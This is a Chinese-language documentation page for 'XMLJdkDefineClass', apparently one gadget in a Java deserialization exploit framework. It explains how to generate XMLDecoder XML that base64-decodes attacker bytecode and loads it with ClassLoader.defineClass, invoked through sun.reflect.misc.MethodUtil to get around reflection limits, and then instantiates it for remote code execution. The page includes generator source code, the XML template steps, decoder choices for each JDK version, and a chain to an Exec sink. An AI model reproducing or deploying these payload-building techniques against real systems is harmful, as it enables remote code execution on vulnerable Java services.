Skip to content

Latest commit

 

History

History
71 lines (59 loc) · 5.63 KB

File metadata and controls

71 lines (59 loc) · 5.63 KB

ClassLoader defineClass 加载字节码(XMLJdkDefineClass)

  • 类别:xml 别名:— 优先级:—
  • 作者:—
  • 依赖jdk(模板内用到 sun.reflect.misc.MethodUtiljava.lang.ClassLoader.defineClass;编码时用到 org.apache.commons.codec.binary.Base64

作用

生成一段 XMLDecoder XML,令目标纯反射调用 ClassLoader.defineClass(byte[], int, int) 定义并实例化任意字节码,从而 RCE。相比 XMLBceLoader 依赖已在高版本失效的内置 BCEL,本 gadget 走标准 defineClass 反射路线,适配面更广、是高版本 JDK 下 XMLDecoder 加载字节码的首选。

链接标签

  • 入口 tagsXMLDecoderPayload —— 承接 XMLDecoder Payload 入口。
  • 衔接 nextTagsBytecodeConvertTag —— 之后需向内接一个「产出 byte[] 字节码」的 gadget(本库中即 BytecodeConvert,其 tagsBytecodeConvertTag)。
  • excludes:无。
  • 本 gadget 不带 END,必须与内层字节码链组合。

源码剖析

invoke 取内层的 byte[],Base64 编码后套入 XML:

public String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);   // 字节码 → base64 文本
    String decoderXml = this.buildDecoderXml(bytecodeB64);      // 选定解码器,拼出 byteCode 对象声明
    return String.format(template, decoderXml);                // 填进主模板
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));    // 内层产物是 byte[] 字节码
}

private String buildDecoderXml(String bytecodeB64) {
    String[] methodParts = this.base64.split("\\.(?=[^\\.]+$)"); // 按最后一个点拆成 类名 / 方法名
    if (methodParts.length != 2) {
        throw new IllegalArgumentException("invalid base64 method: " + this.base64);
    }
    return String.format(base64StaticTemplate, methodParts[0], methodParts[1], bytecodeB64);
}

base64StaticTemplate 渲染出一个把 base64 字符串解回 byte[]<object id="byteCode">

<object class="<解码器类>" method="<解码方法>" id="byteCode">
    <string><![CDATA[<base64字节码>]]></string>
</object>

template%s 处即插入上面这段)在 XMLDecoder 解析时完成一整套反射「手工 defineClass」:

  1. <void class="java.lang.reflect.Array" method="getLength" id="byteCodeLength"> —— 求 byteCode 数组长度。
  2. Thread.currentThread().getContextClassLoader() 绑定为 id loader —— 取当前线程上下文类加载器作为宿主。
  3. 反射取 ClassLoader.getDeclaredMethod("defineClass", [B, int, int) 绑定为 defineClass,并 setAccessible(true)
  4. <object method="invoke" class="sun.reflect.misc.MethodUtil" id="class"> —— 关键点:不直接反射 invoke,而是借道 sun.reflect.misc.MethodUtil.invoke(...) 来执行 defineClass.invoke(loader, {byteCode, 0, byteCodeLength})MethodUtil 位于受信任的 sun.reflect.misc 包,可绕过 XMLDecoder 对某些反射调用的访问限制,稳定完成 protected 方法 defineClass 的调用。
  5. <void idref="class"><void method="newInstance"/> —— 对定义出的 Class 调 newInstance(),执行恶意类逻辑。

链构建(内→外)XMLJdkDefineClass → BytecodeConvert → ExecExec 产出 ProcessBuilder 字节码 → BytecodeConvert 输出 byte[] → 本 gadget base64 编码并塞进反射 defineClass 模板。

参数(@Param)

字段 名称 说明 默认 可选值
base64 base64 实现 选定在目标端把 base64 字符串解回 byte[] 的解码器(类名.方法名,运行时按最后一个点拆分) com.sun.org.apache.xml.internal.security.utils.Base64.decode org.springframework.util.Base64Utils.decodeFromString(spring-core 自带,6.2 后移除)/javax.xml.bind.DatatypeConverter.parseBase64Binary(JDK 自带,JDK 11 后迁至 Jakarta XML Binding,需引依赖)/com.sun.org.apache.xml.internal.security.utils.Base64.decode(JDK 1.4~8 内置 internal API,JDK 9+ 需 --add-exports

需按目标环境挑选一个「确实可加载、且能把 base64 还原为字节数组」的静态方法。三选一分别覆盖 Spring 应用、旧版 JDK-JAXB、以及 JDK ≤ 8 的内部 API 三类场景。

适用版本与原理要点

  • 核心是 java.lang.ClassLoader.defineClass + sun.reflect.misc.MethodUtil.invoke,不依赖内置 BCEL,因此比 XMLBceLoader 覆盖更高的 JDK 版本。
  • 成功与否取决于所选 base64 解码器在目标端可用:JDK 9+ 下 com.sun...internal.security.utils.Base64 默认不导出(需 --add-exports),此时应改选 Spring 或 JAXB 实现——因此参数需按目标依赖精准匹配。
  • 借道 sun.reflect.misc.MethodUtil 是绕过 XMLDecoder 反射调用限制、稳定触达 protected defineClass 的关键技巧。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空);实战按 XMLJdkDefineClass → BytecodeConvert → Exec 组合。

关联

  • 内层(nextTags=BytecodeConvertTag):BytecodeConvertExec(或其它字节码 sink,如内存马)。
  • 同族 XMLDecoder 字节码加载 sink:XMLBceLoader(BCEL 路线,限 JDK ≤ 8)、XMLJsLoader(脚本引擎路线,同 nextTags=BytecodeConvertTag)。
  • 上游:XMLDecoder Payload 入口 / SpringBeanXMLDecoderClassLoader